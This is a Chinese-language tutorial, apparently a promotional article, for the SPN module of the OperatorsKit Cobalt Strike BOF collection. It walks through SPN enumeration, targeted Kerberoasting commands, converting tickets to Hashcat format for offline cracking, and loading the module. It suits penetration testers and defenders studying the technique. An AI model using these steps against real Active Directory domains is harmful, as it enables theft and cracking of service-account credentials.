深入理解OperatorsKit的SPN模块：靶向Kerberoasting攻击全流程

【免费下载链接】OperatorsKitCollection of Beacon Object Files (BOF) for Cobalt Strike项目地址: https://gitcode.com/gh_mirrors/op/OperatorsKit

OperatorsKit是一个专注于Cobalt Strike Beacon Object Files（BOF）的集合，其中的SPN模块提供了强大的服务主体名称（SPN）枚举与Kerberoasting攻击能力。本文将详细解析SPN模块的核心功能、使用方法及攻击流程，帮助安全从业者掌握这一高效渗透测试工具。

🔍 SPN模块核心功能解析

SPN模块通过多协议发现（ldap、ldaps、全局编录）实现SPN枚举，或对特定SPN执行Kerberoasting攻击。其核心价值在于：

• 多协议支持：兼容ldap（389端口）、ldaps（636端口）和全局编录（3268/3269端口）
• 双重操作模式：enum模式用于发现含SPN的账户，roast模式用于请求Kerberos票据
• 哈希转换工具：配套提供bof_to_hashcat.py脚本，可将Base64编码的票据转换为Hashcat兼容格式

📋 基础使用语法与参数说明

命令格式

spn enum <ldap|ldaps|gc> <target> <dc> spn roast <target>

参数详解

• action：enum执行通配符搜索识别含SPN的账户，roast请求Kerberos票据
• protocol：枚举时指定协议（ldap/ldaps/gc）
• target：枚举时为部分账户名（""表示全部），攻击时为完整SPN字符串
• dc：枚举时指定域控制器的IP或主机名

🚀 实战攻击全流程演示

1. SPN枚举（发现阶段）

通过全局编录枚举所有含SPN的账户：

spn enum gc "" DC01.example.local

该命令将通过全局编录（3268端口）查询DC01上所有配置了SPN的账户，输出格式类似：

[*] Found: SQLService -> SPN: MSSQLSvc/sql01.example.local:1433

2. 精准Kerberoasting（攻击阶段）

针对发现的MSSQL服务SPN发起攻击：

spn roast MSSQLSvc/sql01.example.local:1433

成功执行后将返回Base64编码的Kerberos票据，日志信息显示：

[+] Hash acquired for SPN: MSSQLSvc/sql01.example.local:1433

3. 哈希转换（破解准备）

使用配套脚本转换票据格式：

python3 bof_to_hashcat.py <RAW_BASE64_STRING>

脚本会自动检测哈希类型并输出Hashcat兼容格式，便于后续密码破解。

⚙️ 模块编译与加载

1. 确保安装支持C/C++的Visual Studio
2. 打开x64 Native Tools Command Prompt for VS <2019/2022>终端
3. 运行KIT/SPN/bofcompile.bat编译对象文件
4. 在Cobalt Strike中通过脚本管理器加载KIT/SPN/spn.cna

💡 高级使用技巧

• 协议选择策略：优先使用gc（全局编录）获取森林级信息，ldaps提供加密传输
• 目标过滤：枚举时使用部分账户名（如sql）缩小范围：

  spn enum ldaps sql DC01.example.local

• 票据处理：获取的Base64票据可直接用于Hashcat破解（模式13100）

📝 注意事项

• 执行枚举操作需要适当的域权限
• 频繁的Kerberoasting可能触发安全监控
• 哈希破解效率取决于密码复杂度和计算资源

通过OperatorsKit的SPN模块，安全测试人员可以高效完成从SPN发现到票据获取的全流程Kerberoasting攻击。合理利用其多协议支持和精准定位能力，能够在渗透测试中快速获取关键凭证，提升测试效率与成功率。

【免费下载链接】OperatorsKitCollection of Beacon Object Files (BOF) for Cobalt Strike项目地址: https://gitcode.com/gh_mirrors/op/OperatorsKit